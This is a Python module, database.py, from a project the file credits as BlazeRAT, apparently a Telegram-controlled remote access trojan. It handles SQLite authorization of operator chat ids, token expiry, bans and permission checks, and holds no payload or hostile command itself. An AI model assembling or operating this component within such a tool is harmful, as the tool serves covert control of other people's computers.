database.py 2.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from os import path
  5. from time import time
  6. from threading import Lock
  7. from config import auth_expire_time
  8. from sqlite3 import connect as sql_connect
  9. from services.startup import CURRENT_DIRECTORY
  10. """
  11. Author : LimerBoy
  12. github.com/LimerBoy/BlazeRAT
  13. Notes :
  14. The file is needed to authorize users
  15. and check access rights.
  16. """
  17. # Check if database exists
  18. db_path = path.join(CURRENT_DIRECTORY, "users.db")
  19. assert path.exists(db_path), "Database 'users.db' not found"
  20. # Create connection and cursor
  21. lock = Lock()
  22. connection = sql_connect(
  23. db_path,
  24. check_same_thread=False
  25. )
  26. cursor = connection.cursor()
  27. """ Check if user is authorized """
  28. def UserIsAuthorized(chatid: int) -> bool:
  29. lock.acquire(True)
  30. sql = "SELECT time, token FROM authorized WHERE chatid=?"
  31. cursor.execute(sql, (chatid,))
  32. result = cursor.fetchone()
  33. lock.release()
  34. if result is not None:
  35. return time() - result[0] < auth_expire_time and result[1]
  36. else:
  37. return False
  38. """ Authorize user """
  39. def AuthorizeUser(chatid: int, token_name: str) -> str:
  40. lock.acquire(True)
  41. # Remove from banlist
  42. sql = "DELETE FROM banned WHERE chatid=?"
  43. cursor.execute(sql, (chatid,))
  44. # Insert token
  45. sql = "SELECT id FROM authorized WHERE chatid=?"
  46. cursor.execute(sql, (chatid,))
  47. # Update time in table
  48. if cursor.fetchone() is not None:
  49. sql = "UPDATE authorized SET token=?, time=? WHERE chatid=?"
  50. else:
  51. sql = "INSERT INTO authorized (token, time, chatid) VALUES (?, ?, ?)"
  52. # Execute sql & commit changes
  53. cursor.execute(sql, (token_name, time(), chatid))
  54. connection.commit()
  55. lock.release()
  56. return sql[:6]
  57. """ Deauthorize user """
  58. def DeauthorizeUser(chatid: int) -> None:
  59. lock.acquire(True)
  60. sql = "DELETE FROM authorized WHERE chatid=?"
  61. cursor.execute(sql, (chatid,))
  62. connection.commit()
  63. lock.release()
  64. """ Get token by chat id """
  65. def GetUserToken(chatid: int) -> str:
  66. sql = "SELECT token FROM authorized WHERE chatid=?"
  67. cursor.execute(sql, (chatid,))
  68. return cursor.fetchone()[0]
  69. """ Check if user have permission """
  70. def UserContainsPermission(chatid: int, permission: str) -> bool:
  71. from core.tokens import TokenContainsPermission
  72. token_name = GetUserToken(chatid)
  73. return TokenContainsPermission(token_name, permission)